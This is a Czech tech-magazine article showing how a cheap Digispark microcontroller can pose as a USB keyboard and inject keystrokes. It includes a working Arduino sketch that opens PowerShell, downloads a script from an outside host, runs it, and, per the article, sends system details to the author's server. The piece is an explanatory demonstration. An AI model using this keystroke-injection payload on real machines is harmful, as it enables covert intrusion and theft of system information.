Vyrobili jsme z mikropočítače za dolar záškodnickou klávesnici. Je to snadné

  • Představte si klávesnici, která po připojení spustí malware
  • Není to nic složitého, stačí mikročip za dolar
  • Bude posílat počítači trošku jiné stisky kláves

Na Živě.cz jsme už mnohokrát psali o nejrůznějších upravených klávesnicích, myších a fleškách. Zatímco v některých byl schovaný keylogger, který zaznamenával každý tisk klávesnice a vše později v dávkách posílal na záškodníkův web, zákeřná USB fleška po připojení k počítači zase vyslala do jeho obvodů natolik silný elektrický výboj, že to v lepším případě odnesla jen sběrnice a v tom horším celá základní deska.

Dnes do tohoto světa trošku nahlédneme, vyzkoušíme si totiž, jak by mohla fungovat záškodnická klávesnice, která po připojení k PC způsobí pěknou neplechu. Nebudete k tomu potřebovat ani doktorát z MIT, ani několikaměsíční studium hackerských manuálů, naše záškodnická klávesnice totiž nebude zneužívat žádných zranitelností ovladačů a operačního systému, ale bude jen dělat to, k čemu je určená.

Mikropočítač, který se vejde do klávesnice a může stáhnout třeba virus

Naše fiktivní klávesnice po připojení k USB vyšle do systému vlastní stisky kláves. Provede tedy něco, před čím vás nezachrání žádný antivirový program, protože bude provádět naprosto legitimní úkony. Pokud by taková klávesnice vyslala sérii stisků kláves, které systému řeknou, aby smazal všechna vaše data, tak se tak i stane, protože k tomu máte patřičná práva a operační systém samozřejmě nemůže tušit, že stisky nevytvářejí vaše vlastní prsty, ale drobný mikropočítač velikosti poštovní známky.

Klepněte pro větší obrázek
Drobná USB mašinka Digispark, jejíž klon dnes použijeme pro simulování stisků kláves

Toto všechno zvládnou nejrůznější modely Arduin a dalších mikropočítačů a vývojové prostředí Arduina na to pamatuje vlastními knihovnami, které se postarají o to, aby bylo posílání jednotlivých stisků kláves co nejjednodušší.

Destičky Arduina jsou však pro toto použití docela velké a do klávesnice by se snad vešly jen jeho nejmenší varianty. Vývojové prostředí Arduina naštěstí podporuje celou škálu mikrokontrolerů a jedním z nich je i maličký Digispark s jednoduchým osmibitovým čipem Attiny85.

Klepněte pro větší obrázek Klepněte pro větší obrázek
Mozkem Digisparku je drobný osmibitový čip ATtiny85 od Atmelu (dnes Microchipu). Má 8 kB paměti a několik málo pinů, pro naše účely je ale naprosto dostačující.

Digispark začínal jako projekt dolarového mikrokontroleru na Kickstarteru, cena toho oficiálního se dnes ale pohybuje až okolo osmi. Naštěstí jsou eBay a další e-shopy plné laciných klonů, takže z Číny a s bezplatným poštovným jej získáte opravdu od těch cirka 30 korun za kus.

Falešná klávesnice ovládá operační systém

Tak a teď konečně začne ta legrace. S Digisparkem můžete v prostředí Arduina použít vestavěnou knihovnu DigiKeyboard a její funkce pro vyslání stisků jak nejrůznějších systémových kláves a jejich kombinací, tak i souvislého textu. A kdyby to nestačilo, stačí nahlédnout na webu usb.org do oficiální dokumentace pro protokol HID, kde najdete kódy jednotlivých kláves (PDF, kapitola 10).

Klepněte pro větší obrázek
Po připojení Digisparku se v otevřeném Wordu napsalo vtipné hlášení. Stačí k tomu jednoduchý program na pár řádků.

Suma sumárum, droboučkou destičku snadno naprogramujete tak, aby vyslala do počítače kód libovolné standardní klávesy.

Jak by tedy mohl v prostředí Arduina vypadat kód programu, který po připojení Digisparku do USB pošle systému sekvenci znaku „Ahoj, já jsem zlý virus?“ S využitím zmíněné knihovny by byl naprosto primitivní:

// Pouzij knihovnu DigiKeyboard
#include "DigiKeyboard.h"

// Funkce setup se zpracuje po startu mikropocitace, tedy po pripojeni k USB
void setup() {
 //Posli do pocitace text, ktery se zobrazi, pokud bude mit fokus nejake textove pole. Treba Word. 
 DigiKeyboard.print("Ahoj, ja jsem zly virus!");
}

// Smycka loop je prazdna. Kdybych vlozil prikaz do ni, bude se text vypisovat stale dokola.
void loop() {}

Když byste tedy měli otevřený třeba Word a připojili Digispark, do textového pole se napíše ono hrozivé sdělení a drobným vtípkem vyděsíte třeba kolegu v práci (zvláště pokud příkaz k vypsání textu vložíte do smyčky loop, čili se bude opakovat stále dokola, než si oběť všimne, že má v USB připojené jakési neznámé zařízení).

Falešná klávesnice stáhne skript, spustí jej a odešle útočníkovi zajímavé informace o počítači

Pokud bychom chtěli naší virtuální klávesnici opravdu zneužít, nepsala by pochopitelně pozdravy, ale namísto toho by si otevřela třeba příkazovou řádku mocného PowerShellu a ovládla by celý počítač – zejména v případě, pokud by měl právě přihlášený uživatel administrátorská práva.

Anebo by falešná klávesnice odeslala na server hromadu informací o aktuálním systému. Případný útočník by se pak na základě popisu rozhodl, jestli je vaše mašina vhodný terč.

Pojďme si tedy ukázat druhý stručný kód, který už do hry zapojí i funkční klávesy:

#include "DigiKeyboard.h"

void setup() {
 // Posli kombinaci WIN+R k otevreni dialogu pro spusteni lib. programu a pockej 500 ms
 DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); delay(500);
 
 // Napis powershell a pockej 500 ms
 DigiKeyboard.print("powershell"); delay(500);

 // Stiskni ENTER pro potvrzeni a pockej 1 s
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(1000);

 // Predpokladam, ze uz je konzole PowerShellu spustena, a tak do ni poslu sekvenci znaku pro stazeni skriptu z internetu
 DigiKeyboard.print("wget \"https://kloboukuv.cloud/bobikospion.ps1\" -outfile \"app.ps1\"");

 // Stiskni ENTER a pockej 2 s, aby se skript stacil stahnout
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(2000);

 // Spust stazeny skript, stiskni ENTER a pockej 4 s, nez se zpracuje
 DigiKeyboard.print(".\\app.ps1"); delay(500);
 DigiKeyboard.sendKeyStroke(KEY_ENTER); delay(4000);

 // Zavri okno PowerShellu
 DigiKeyboard.print("exit"); delay(500);
 DigiKeyboard.sendKeyStroke(KEY_ENTER);
}

void loop() {}

Program nejprve pošle Windows klávesovou zkratku WIN+R (KEY_R a MOD_GUI_LEFT, tedy levá systémová klávesa, ať už je to levý WIN v případě Windows, nebo alternativy u dalších operačních systémů).

Poté program počká 500 ms, aby operační systém stihl otevřít dialog pro spuštění programu, a následně do něj vyplní powershell a odešle stisk klávesy ENTER (KEY_ENTER).

Program počká další sekundu, než se otevře textové okno PowerShellu, načež do něj pošle příkaz ke stažení zákeřného skriptu ze serveru. Předpokládejme, že je počítač online a těch pár kilobajtů stáhne během okamžiku, čili počkáme dvě sekundy a stažený skript spustíme.

Skript získá hromadu zajímavých údajů o systému a následně je odešle na můj webový server. Dokonáno jest. Trošku jsem si to ale ulehčil a pro přehlednost dal PowerShellu dopředu právo spouštět cizí skripty (stažené z webu). Jelikož je však většina domácích uživatelů svých vlastních laptopů i velkých počítačů zpravidla lokálními administrátory, mohl bych si o toto právo požádat ze záškodnické klávesnice – heslo nepotřebuji, jen explicitní souhlas.

Klepněte pro větší obrázek
Skript pro PowerShell získá základní informace o systému včetně lokální IP adresy, diskových oddílech, verzi OS a uživateli, vše odešle na hypotetický server záškodníka – v tomto případě na ten můj. Celé to bude trvat několik sekund, během kterých může útočník balamutit majitele počítače, že se třeba instalují ovladače čerstvě připojené klávesnice.

A to je celé. Kdybych útočil na mašiny s Linuxem, mohl bych sekvenci příkazů upravit naopak takovým způsobem, aby se spustil třeba skript v Pythonu, který se pokusí zapojit počítač skrze hackerský Kali Linux a balík nástrojů Metasploit do botnetu, to už je ale zase téma na jiný článek.

Poselstvím toho dnešního byla demonstrace, jak principiálně mohou fungovat některá zákeřná USB HID zařízení, která pro svoji práci mohou využívat i nejrůznější státní bezpečnostní a zpravodajské agentury. Ostatně podle nedávno zveřejněných dokumentů Wikileaks podobné útoky používá i CIA.

Témata článku: Pojďme programovat elektroniku, Programování, Arduino, Hacking, Únik dat, C++, Programování pro děti, Stavebnice, Delay, Print, Usb klávesnice, Loop, Kali, Znaky klávesnice

24 komentářů

Nejnovější komentáře

  • El Vigo 16. 3. 2017 16:50:16
    jde na tom GTA ?
  • ooooooooooo 16. 3. 2017 14:21:50
    Powershell potrebuje k zajimavym akcim opravneni, takze ho musite spustit...
  • ce_hun 16. 3. 2017 10:33:09
    Bude aj navod pre android? Chcem dat priatelke do telefonu :-P
Určitě si přečtěte

Kde nejlevněji uložit 1 TB dat: Srovnali jsme aktuální ceny cloudových úložišť

Kde nejlevněji uložit 1 TB dat: Srovnali jsme aktuální ceny cloudových úložišť

** Srovnali jsme známá cloudová úložiště podle toho, kolik měsíčně zaplatíte za 1TB ** Ceny se pohybují od dvou stovek až po tisíc korun ** Google umožní uložit až 30 TB dat

18.  3.  2017 | Stanislav Janů | 115

Špičkoví hackeři útočili na prohlížeče. Chrome odolal, ale Edge je tragédie

Špičkoví hackeři útočili na prohlížeče. Chrome odolal, ale Edge je tragédie

** Do Vancouveru se sjeli hackeři ** Soutěžili v útocích na prohlížeče ** Chrome odolal, ale Edge to projel na celé čáře

22.  3.  2017 | Jakub Čížek | 78

Pojďme programovat elektroniku: Meteostanice, která bude díky Sigfoxu posílat stav počasí třeba z vrcholu Sněžky

Pojďme programovat elektroniku: Meteostanice, která bude díky Sigfoxu posílat stav počasí třeba z vrcholu Sněžky

** Příští roky budou ve znamení internetu věcí ** Podívali jsme se podrobně na síť Sigfox ** Takhle s ní komunikují krabičky z celé Evropy

19.  3.  2017 | Jakub Čížek | 18

Obří Mechroboti jsou realitou, měří čtyři metry a mají hmotnost přes 1,5 tuny

Obří Mechroboti jsou realitou, měří čtyři metry a mají hmotnost přes 1,5 tuny

** Jihokorejská společnost Hankook Mirae Technology vyrábí obří Mechroboty ** Jsou určené pro ovládání člověkem uvnitř ** V prodeji se objeví koncem tohoto roku za 200 milionů korun

20.  3.  2017 | Karel Javůrek | 18


Aktuální číslo časopisu Computer

Supertéma o počítačové bezpečnosti

AMD Ryzen přichází

Velké testy kinoprojektorů a levných sluchátek

Příslušenství do USB-C